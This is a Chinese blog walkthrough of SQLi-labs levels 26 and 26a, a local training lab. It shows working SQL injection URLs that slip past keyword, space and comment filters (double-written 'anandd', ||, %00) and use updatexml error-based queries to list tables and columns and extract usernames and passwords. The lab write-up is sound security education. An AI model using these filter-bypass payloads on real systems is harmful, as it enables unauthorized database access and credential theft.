SQLI-labs-第二十六关和第二十六a关

目录

第二十六关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的数据

第二十六a关


第二十六关

知识点:绕过and、or、空格、注释符等过滤

思路

通过源代码,我们可以知道,数据库对用户的输入进行了过滤,对注释符、and、or、空格等都进行了过滤,我们的思路就是要绕过这些过滤。

1、判断注入点

首先,我们输入正常的输入,看看回显

http://127.0.0.1:3306/Less-26/?id=1

接着在后面加入单引号

http://127.0.0.1:3306/Less-26/?id=1'

数据库语句报错,加入注释符,因为注释符被过滤了,所以我们必须进行绕过,关于注释符的绕过可以参考一下23关

SQLI-labs-第二十三关-CSDN博客

这里使用另一种绕过方式,编码,注释符(--)可以使用;%00代替

http://127.0.0.1:3306/Less-26/?id=1';%00

说明当前存在单引号的闭合问题

http://127.0.0.1:3306/Less-26/?id=1' and 1=1 ;%00

这里说明and 空格都被过滤了

and的绕过可以用双写绕过 anandd,也可以用&&代替

or的绕过可以用双写绕过 or,也可以用||代替

空格的过滤绕过可以用下面的这些绕过

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

上面这些我都使用不了,因为Windows的apache解析问题,所以只能使用()和报错函数进行绕过

2、判断数据库

使用updatexml()函数

http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,database()),1);%00

使用这种方式的好处就是不用空格,注意这里使用的 || or

3、判断表名

http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1);%00

使用group_concat()函数可以将数据集合成一行显示出来

4、判断字段名

http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users'))),1);%00

5、获取数据库的数据

http://127.0.0.1:3306/Less-26/?id=-1' || updatexml(1,concat(1,(select(group_concat(concat_ws(',',id,username,passwoorrd)))from(security.users)where(id=1))),1);%00

通过修改id的值就可以获取所有的信息


第二十六a关

知识点:绕过and、or、空格、注释符等过滤

思路:

这一关的思路也是跟上面的一样,只不过是')的闭合方式,且没有报错信息提示,所以我们不能使用报错函数来注入,只能使用联合查询,关于空格的绕过,可以参考上面的绕过方式

因为本机是Windows环境,所以这一关不做演示


这篇文章就先写到这里,哪里不懂或者不足的欢迎批评指出

  • 22
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值